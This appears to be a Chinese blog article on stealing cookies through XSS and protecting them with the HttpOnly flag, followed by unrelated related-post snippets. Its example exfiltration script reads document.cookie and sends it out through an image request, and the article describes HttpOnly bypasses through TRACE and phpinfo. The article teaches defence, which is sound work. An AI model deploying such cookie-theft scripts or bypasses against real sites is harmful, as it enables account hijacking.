隨著www服務的興起，越來越多的應用程式轉向了b/s結構，這樣只需要乙個瀏覽器就可以訪問各種各樣的web服務，但是這樣也越來越導致了越來越多的web安全問題。www服務依賴於http協議實現，http是無狀態的協議，所以為了在各個會話之間傳遞資訊，就不可避免地用到cookie或者session等技術來標記訪問者的狀態，而無論是cookie還是session，一般都是利用cookie來實現的（session其實是在瀏覽器的cookie裡帶了乙個token來標記，伺服器取得了這個token並且檢查合法性之後就把伺服器上儲存的對應的狀態和瀏覽器繫結），這樣就不可避免地安全聚焦到了cookie上面，只要獲得這個cookie，就可以取得別人的身份，這對於入侵者是一件很美妙的事情，特別當獲得的cookie屬於管理員等高許可權身份者時，危害就更大了。在各種web安全問題裡，其中xss漏洞就因此顯得格外危險。
對於應用程式來說，一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執行任意的js指令碼，如果應用程式是開源的或者功能是公開的話，別人就可以利用ajax使用這些功能，但是過程往往很煩瑣，特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對於不開源的應用程式，譬如某些大型站點的web後台（web2.0乙個顯著的特徵就是大量的互動，使用者往往需要跟後台的管理員互動，譬如bug匯報，或者資訊投遞等等），儘管因為互動的存在可能存在跨站指令碼漏洞，但是因為對後台的不了解，無法構造完美的ajax**來利用，即使可以用js取得後台的**並回傳分析，但是過程同樣煩瑣而且不隱蔽。這個時候，利用xss漏洞獲得cookie或者session劫持就很有效了，具體分析應用程式的認證，然後使用某些技巧，甚至可以即使對方退出程式也一樣永久性獲得對方的身份。
那麼如何獲得cookie或者session劫持呢？在瀏覽器中的document物件中，就儲存了cookie的資訊，而利用js可以把這裡面的cookie給取出來，只要得到這個cookie就可以擁有別人的身份了。乙個很典型的xss攻擊語句如下：
url=document.top.location.href;
cookie=document.cookie;
c=new image();
c.src=』
一些應用程式考慮到這個問題所在，所以可能會採取瀏覽器繫結技術，譬如將cookie和瀏覽器的user-agent繫結，一旦發現修改就認為cookie失效。這種方法已經證明是無效的，因為當入侵者偷得cookie的同時他肯定已經同時獲得了user-agent。還有另外一種比較嚴格的是將cookie和remote-addr相繫結（其實就是和ip繫結，但是一些程式取得ip的方法有問題一樣導致饒過），但是這樣就帶來很差的使用者體驗，更換ip是經常的事，譬如上班與家裡就是2個ip，所以這種方法往往也不給予採用。所以基於cookie的攻擊方式現在就非常流行，在一些web 2.0站點很容易就取到應用程式的管理員身份。
如何保障我們的敏感cookie安全呢？通過上面的分析，一般的cookie都是從document物件中獲得的，我們只要讓敏感cookie在瀏覽器document中不可見就行了。很幸運，現在瀏覽器在設定cookie的時候一般都接受乙個叫做httponly的引數，跟domain等其他引數一樣，一旦這個httponly被設定，你在瀏覽器的document物件中就看不到cookie了，而瀏覽器在瀏覽的時候不受任何影響，因為cookie會被放在瀏覽器頭中傳送出去（包括ajax的時候），應用程式也一般不會在js裡操作這些敏感cookie的，對於一些敏感的cookie我們採用httponly，對於一些需要在應用程式中用js操作的cookie我們就不予設定，這樣就保障了cookie資訊的安全也保證了應用。關於httponly說明可以參照
給瀏覽器設定cookie的頭如下：
以php為例，在php 5.2版本時就已經在setcookie函式加入了對httponly的支援，譬如
<?php
setcookie(「abc」, 」test」, null, null, null, null, true);
?>
就可以設定abc這個cookie，將其設定為httponly，document將不可見這個cookie。因為setcookie函式本質就是個header，所以一樣可以使用header來設定httponly。然後再使用document.cookie就可以看到已經取不到這個cookie了。我們用這種方法來保護利例如sessionid，如一些用於認證的auth-cookie，就不用擔心身份被人獲得了，這對於一些後台程式和webmail提公升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到，已經不能獲取被我們設定為httponly的敏感cookie了。
但是，也可以看到httponly並不是萬能的，首先它並不能解決xss的問題，仍然不能抵制一些有耐心的黑客的攻擊，也不能防止入侵者做ajax提交，甚至一些基於xss的proxy也出現了，但是已經可以提高攻擊的門檻了，起碼xss攻擊不是每個指令碼小子都能完成的了，而且其他的那些攻擊手法因為一些環境和技術的限制，並不像cookie竊取這種手法一樣通用。
httponly也是可能利用一些漏洞或者配置bypass的，關鍵問題是只要能取到瀏覽器傳送的cookie頭就可以了。譬如以前出現的http trace攻擊就可以將你的header裡的cookie回顯出來，利用ajax或者flash就可以完成這種攻擊，這種手法也已經在ajax和flash中獲得修補。另外乙個關於配置或者應用程式上可能bypass的顯著例子就是phpinfo，大家知道phpinfo會將瀏覽器傳送的http頭回顯出來，其中就包括我們保護的auth資訊，而這個頁面經常存在在各種站點上，只要用ajax取phpinfo頁面，取出header頭對應的部分就可以獲得cookie了。一些應用程式的不完善也可能導致header頭的洩露，這種攻擊方式對於basic驗證保護的頁面一樣可以攻擊。
httponly在ie 6以上，firefox較新版本都得到了比較好的支援，並且在如hotmail等應用程式裡都有廣泛的使用，並且已經是取得了比較好的安全效果。
iOS應用架構談 view層的組織和呼叫方案
date fri 24 april 2015 tags ios architect thoughts ios應用架構談 開篇 ios應用架構談 view層的組織和呼叫方案 ios應用架構談 網路層設計方案 ios應用架構談 本地持久化方案及動態部署 ios應用架構談 開篇 出來之後，很多人來催我趕緊...
從「無知才能無畏，王者就是霸道」談學習和思維方法
在菜農那個時代，正常的教科書都沒有，只好託人在 大上海 購買，有書是 富貴的象徵 記得有位考上大學的女生竟然手抄了一本物理教科書.那時獲取 科學知識 基本都是 十萬個為什麼 科學 那時離我們那一代太遙遠了 菜農有幸看了一些前蘇聯科學家的故事，其中就有介紹直角三角形三邊全為整數的乙個暈長 的推論。因為...
Post和Get的區別 兼談頁面間傳值的方式
從乙個頁面轉向另乙個頁面的請求方式有兩種，post和get.如果從原理上來 他們的區別，涉及到http傳輸協議的細節,本文不加 只討論一下表象。所有的人都知道如下區別 1.post傳輸資料時，不需要在url中顯示出來，而get方法要在url中顯示。2.post傳輸的資料量大，可以達到2m，而get方...